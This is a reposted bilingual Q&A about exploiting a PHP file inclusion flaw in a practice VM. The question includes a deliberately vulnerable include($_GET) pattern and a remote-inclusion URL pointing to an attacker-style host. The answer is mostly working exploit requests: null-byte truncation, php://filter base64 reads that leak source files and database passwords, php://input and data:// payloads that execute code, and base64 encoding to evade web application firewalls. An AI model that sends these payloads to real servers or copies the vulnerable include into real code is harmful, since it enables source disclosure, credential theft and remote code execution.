PHP安全漏洞-列出远程PHP文件的内容? [英] PHP security exploit - list content of remote PHP file?
问题描述
我正在尝试利用在VM内运行的示例网站中的一些Web漏洞(它在网络上不可用-仅用于教育目的).我有一个名为setupreset.php的php文件，其中包含有关MySQL配置，设置和用于设置网站的密码的信息.该目录与其余php文件(索引，产品，论坛等)位于同一目录中.
I'm trying to exploit some web vulnerabilities in a sample website running inside a VM (it is not available on the web - only for educational purposes). I have a php file named setupreset.php which has the information about MySQL configs, setup and passwords used to setup the website. This is in the same directory as the rest of the php files (index, products, forum, etc...).
这是index.php的代码，以供参考:
This is the code of index.php, for reference:
<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
include("home.html");
} else { include ($page . '.php'); }
include ("includes/footer.php");
?>
主要目标是列出setupreset PHP文件的内容，或以某种方式下载它.如果我导航到该文件:http://10.211.55.5/index.php?page=setupreset，它将被执行，但是由于PHP解释器已对PHP代码进行了解析，因此自然不会显示PHP代码.
The main goal is to list the contents of the setupreset PHP file, or download it somehow. If I navigate to this file: http://10.211.55.5/index.php?page=setupreset, it gets executed, but the PHP code is naturally not shown, due to the fact that it is parsed by the PHP interpreter.
现在，该网站使用PHP include，因此URL如下所示:http://10.211.55.5/index.php?page=products.这似乎很容易受到远程文件包含的影响，在这里我可以简单地指向另一个PHP页面，例如http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php，但allow_url_include是off，并且无法更改，因此这将不起作用(我尝试过此操作).但是，allow_url_fopen可能处于启用状态(因为默认情况下处于启用状态)，所以我的问题是:使用这种漏洞利用程序可以上传一个PHP文件或一些列出setupreset.php内容的脚本吗?
Now, the website uses PHP includes, so URLs look like this: http://10.211.55.5/index.php?page=products. This seems like it's vulnerable to remote file inclusion, where I could simply point to another PHP page, e.g. http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php but allow_url_include is off and cannot be changed, so this won't work (I tried this). However, allow_url_fopen is likely on (since it's on by default), so my question is the following: is it possible to upload a PHP file or some script that lists the content of setupreset.php using this kind of exploit?
推荐答案
如果allow_url_include已关闭，则无法执行远程代码.但是您可以找到其他页面(例如，内容管理仪表板)以将代码上传为图片"，然后找到实际路径并include.
If allow_url_include is off, you can't execute remote code. But you can find other pages, for example a content management dashboard, to upload your code as "image", then find the actual path and include it.
而且，仍有许多利用方法.
And, there are still ways to exploit.
让我们看一下代码内部.您可能会注意到，它会在路径末尾自动添加扩展名.php.因此，您应该在GET参数中删除php.但是，如果要包含的文件没有PHP扩展名怎么办?然后使用%00终止字符串，例如
Let's look inside your code. You may notice that it automatically add an extension .php at the end of path. So you should remove php in GET param. But what if the file you want to include does not have PHP extension? Then use %00 to terminate string, such as
http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00
PHP中有一个特殊的协议，功能强大且危险. php://.
您可以查看官方手册以获取详细信息，在此我将向您展示您可能会使文件包含漏洞成为源泄漏甚至远程执行代码漏洞的情况.
There's a special protocol in PHP, powerful and dangerous. It's php://.
You can check out the offcial manual for detailed information, and here I'll show you some cases to make a file inclusion vulnerability become source disclosure and even remote code execution vulnerabilities.
在测试之前，建议您将 Firefox 与 HackBar 插件.这是一个功能强大的渗透测试套件.
Before your test, I suggest you use Firefox with HackBar plugin. It's a powerful penetration testing suite.
- 来源披露
此功能不需要包含网址.
This feature doesn't need url inclusion allowed.
php://filter是一种元包装器，旨在允许在打开时将过滤器应用于流.这对于多文件文件功能(如readfile()，file()和file_get_contents())很有用，否则在读取内容之前，没有机会将过滤器应用于流. (参考)
php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. This is useful with all-in-one file functions such as readfile(), file(), and file_get_contents() where there is otherwise no opportunity to apply a filter to the stream prior the contents being read. (Reference)
然后您可以通过以下请求在同一目录中查看源secret.inc.php.
Then you can see the source secret.inc.php in the same directory via following request.
http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc
文件内容将以base64编码，因此它确实支持二进制文件.
File content will be encoded in base64, so it does support binary file.
功能强大可获取敏感信息，例如数据库密码或加密密钥！如果特权配置不正确，它甚至可以跳出笼子并从外部目录(如/etc/passwd！
It's powerful to get sensitive information, such as database passwords or a encryption key! If privilege is not proper configurated, it can even jump out of cage and extract data from files in outter directories, like /etc/passwd!
- 远程执行代码
实际上您不能利用这种方式，因为在这种情况下allow_url_include处于关闭状态.
Actually you can't exploit this way, because allow_url_include is Off in this case.
但是我必须指出，因为它是神奇！
But I must point it out because it's magical!
与本地包含完全不同.它不需要将任何文件上传到远程服务器等.您只需要一个请求即可.
It's completly different from local include. It doesn't need to upload any file to a remote server or so. All you need is one single request.
php://input可以访问原始HTTP请求正文，所以include("php://input")会做什么?只需访问http://localhost/include.php?page=php://input，并在请求正文中使用有效的PHP代码，即可在远程服务器中执行任何(允许的)功能！
php://input can access the raw HTTP request body, so what does include("php://input") do? Just visit http://localhost/include.php?page=php://input, with valid PHP code in request body, then you can execute any (allowed) function in remote server!
别忘了%00掉下.php的尾巴.
此外，PHP支持data:// URL方案.您可以直接将代码放在GET参数中！以下测试不需要任何特殊工具，只需普通的浏览器即可执行攻击.
Besides, PHP supports data:// URL scheme. You can directly put code in GET param! The following test doesn't need any special tool, just a normal browser can execute an attack.
http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>
某些Web应用程序防火墙可能会检测到URL中的可疑字符串并阻止恶意请求，它们不会单独留下phpinfo.有没有办法加密?当然. data:// URL至少支持base64编码...
Some Web Application Firewalls may detect suspected string in URL and block evil request, they won't leave the phpinfo alone. Is there a way to encrypt? Of course. data:// URL supports at least base64 encoding...
http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
您将再次熟悉phpinfo！
And you will get familiar phpinfo once again!
空字节技巧(%00)在PHP> = 5.3.4中不再起作用: http://blog.benjaminwalters.net/?p=22139
The null byte trick (%00) does not work anymore for PHP >= 5.3.4: http://blog.benjaminwalters.net/?p=22139
这篇关于PHP安全漏洞-列出远程PHP文件的内容?的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！
